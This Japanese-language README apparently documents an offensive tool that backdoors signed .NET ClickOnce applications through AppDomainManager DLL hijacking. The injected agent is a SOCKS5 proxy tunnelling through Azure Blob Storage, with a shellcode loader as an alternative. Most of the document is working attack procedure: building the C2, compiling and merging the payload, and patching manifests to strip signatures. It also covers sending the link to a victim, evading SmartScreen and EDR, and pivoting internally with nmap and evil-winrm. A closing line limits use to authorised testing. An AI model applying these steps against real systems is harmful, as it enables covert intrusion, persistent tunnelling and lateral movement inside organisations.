
署名済みの.NET ClickOnceアプリケーションを武器化し、AppDomainManagerインジェクションを介して依存DLLを乗っ取り、ProxyBlob AgentのC#ポートを読み込むことで初期アクセスを獲得します。

署名済みの .NET ClickOnce アプリケーションを武器化し、依存 DLL のハイジャック(AppDomainManager インジェクション)を介して初期アクセスを獲得します。C# に移植された ProxyBlob(すべてのトラフィックを Azure Blob Storage 経由でトンネリングする SOCKS5 プロキシ)をエージェントとして同梱。*.blob.core.windows.net が許可された環境に溶け込みます。
ClickOnce は .NET アプリケーション向けの Microsoft のワンクリックデプロイ技術です。ユーザーが .application URL をクリックすると、Windows は管理者権限を必要とせずにアプリケーションをダウンロードして実行します。攻撃の流れ:
.exe.config を注入するホスト .exe は変更されず、有効な署名のままです。SmartScreen は既知のバイナリと認識します。EDR は信頼できるプロセスがモジュールをロードしていると見なします。エージェントは HTTPS 経由でのみ Azure Blob Storage と通信します。
├── clickonce_backdoor.py # ProxyBlob Agent DLL を ClickOnce アプリにバックドアするメインスクリプト
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL ペイロード (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # スタンドアロン Proxyblob コンソールエージェント (テスト用)
│ ├── ShellcodeLoader.cs # 代替: シェルコードローダーペイロード
│ └── MessageBoxPoC.cs # PoC: メッセージボックス (インジェクションが機能することを確認)
└── README.md
攻撃側 (Linux/macOS):
ビルドマシン (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe に標準搭載 (自動検出)nuget.exe をスクリプトの隣に配置するか PATH に追加 ( --proxyblob モードでのみ必要)スクリプトは csc.exe と nuget.exe を自動検出します。--proxyblob では、BouncyCastle と ILMerge が初回実行時に NuGet 経由で自動インストールされ、スクリプトの隣の packages/ ディレクトリに配置されます(実行間で永続化)。
エージェントコードはアーキテクチャに依存しません(P/Invoke なし、シェルコードなし)。--platform フラグ(csc.exe /platform: に渡される)により、CLR がそれをどのようにロードするかを制御します:
corflags.exe TargetApp.exe でターゲットアプリのプラットフォームを確認してください。
# ストレージアカウントを作成
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# キーを取得
az storage account keys list --account-name yourblobaccount --output table
または、ローカルで Azurite を使用:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
プロキシシェル内:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

その接続文字列を保存してください — エージェントに組み込みます。
ClickOnce 統合の前に、エージェントが単独で動作することを必ず確認してください。
Windows ビルドマシンで:
# コンパイル
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge で単一の exe にマージ (BouncyCastle を埋め込むため)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# 実行
Agent.exe <connection-string>
プロキシ側に戻って:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
テスト:
proxychains curl http://ipconfig.io
これが機能すれば、ClickOnce 統合に進みます。
偵察中にターゲットの ClickOnce アプリを見つけてください(.application URL を検索)。必要なもの:
ClickOnce デプロイ全体をダウンロード:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

スクリプトは C# ソースの自動コンパイル、NuGet 依存関係の処理(--proxyblob の場合)、BouncyCastle の DLL への ILMerge、全マニフェストのパッチを一度に行います:

# ProxyBlob モード — 自動コンパイル、NuGet パッケージ自動インストール、自動マージ
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC モード — インジェクションが機能することを簡単に確認
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode モード
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 ターゲットアプリ
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

スクリプトが処理すること: 設定を組み込んだ C# ソースの生成、csc.exe でのコンパイル、BouncyCastle の ILMerge(--proxyblob の場合)、DLL の置換、AppDomainManager インジェクション用の .exe.config の作成、両ファイルのマニフェストへの追加、全 SHA256 ハッシュとファイルサイズの再計算、コード署名の除去、ベンダーの publicKeyToken のゼロ化、デプロイプロバイダー URL の更新。
手動オーバーライド: あらかじめコンパイルされた DLL を --payload で指定することも可能(コンパイルをスキップ):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ ILMerge アセンブリ名の落とし穴: ILMerge は内部アセンブリ名を出力ファイル名から設定し、入力ファイル名からは設定しません。
Foo_merged.dllにマージしてからファイル名をFoo.dllにリネームしても、内部名はFoo_mergedのままです — CLR はファイル名ではなくメタデータを読み取ります。.exe.configが一致せず、AppDomainManager インジェクションはエラーもなく静かに失敗します。スクリプトは最終的な名前に直接 ILMerge することでこれを正しく処理します。
# 正しい MIME タイプとキャッシュヘッダーを持つ組み込みサーバー
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

または、任意の Web サーバーを使用し、以下の MIME タイプを設定:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
被害者に送信: http://YOUR-SERVER/APPLICATION.application
被害者が「インストール」をクリック → アプリが実行される → SOCKS5 トンネルが開く。

# プロキシマシンで
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



テストデプロイ間でクリア:
rundll32 dfshim CleanOnlineAppCache
デバッグには、まず ProxyBlobStandalone.cs を使用します — パケットタイプ、接続イベント、エラーを stderr に詳細にログ出力します。動作確認後、ProxyBlobAgent.cs に切り替えて ClickOnce 統合を行います。
エージェントは Go ProxyBlob エージェント の忠実な移植です。移植中に 3 つの重大なバグが発見され修正されました:
1. UUID のバイトオーダー — Go の uuid.UUID は RFC 4122 (ビッグエンディアン) 順序で 16 バイトを格納します。.NET の Guid コンストラクタは最初の 3 コンポーネントをリトルエンディアンに交換するため、ワイヤ上で ConnectionID の不一致が発生します。生の byte[16] 配列を使用して修正。
2. XChaCha20-Poly1305 — Go は chacha20poly1305.NewX() = 24 バイト nonce を持つ XChaCha20 を使用します。BouncyCastle の ChaCha20Poly1305 は 12 バイトの IETF nonce のみをサポートします。HChaCha20 サブキー導出を実装して修正:
subkey = HChaCha20(key, nonce[0:16]) // キー+nonce に対する ChaCha20 クォーターラウンド
ietf_nonce = 0x00000000 || nonce[16:24] // 残りの 8 バイトが IETF nonce になる
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. Base64 パディング — Go は base64.RawStdEncoding(= パディングなし)を使用します。.NET はパディングを必要とします。デコード前に自動パディングして修正。
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
*.blob.core.windows.net に送信 — 正当な Azure トラフィックに紛れる.exe は有効な署名のまま — 依存 DLL と .config のみが変更されるAPPLICATION)として表示されるこのツールは許可されたセキュリティテストおよび研究のみを目的としています。明示的な書面による許可を得たシステムに対してのみ使用してください。
--platform | x86 Windows で動作 | x64 Windows で動作 | 使用する状況 |
|---|
x86 (デフォルト) | 32-bit | 32-bit (WoW64) | ターゲットアプリが x86 の場合 |
x64 | ✗ | 64-bit | ターゲットアプリが x64 の場合 |
anycpu | 32-bit | 64-bit | スタンドアロンテスト、またはターゲットが AnyCPU の場合 |
| エラー | 修正方法 |
|---|
csc.exe not found | .NET Framework 4.x をインストールするか、csc.exe を PATH に追加 |
nuget.exe not found | nuget.org からダウンロードし、スクリプトの隣に配置するか PATH に追加 |
CS0012: type 'Object' ... netstandard | csc コマンドに /r:netstandard.dll を追加 |
Metadata file ... net461 ... not found | netstandard2.0 の BouncyCastle パスを使用 |
| 症状 | 原因 | 修正方法 |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL が埋め込まれていない | ILMerge を使用して単一の DLL を作成 |
| AppDomainManager が ClickOnce 実行後にロードされない | 内部アセンブリ名の不一致 | アセンブリ名が .exe.config と一致している必要があります。ildasm /text Dll.dll | findstr ".assembly" で確認 |
| エージェントがコード 3 で終了 | 接続文字列が無効または期限切れ | プロキシで create を使用して再生成 |
| ClickOnce インストールが静かに失敗 | マニフェストハッシュの不一致 | 自動化スクリプトを再実行するか、SHA256 ハッシュを手動で再計算 |
インストール中に RefDefValidation エラー | サードパーティ DLL の厳密名トークンがゼロ化された | スクリプトはベンダートークンのみをゼロ化します。必要に応じて --dll-name を使用してペイロード DLL 名を設定 |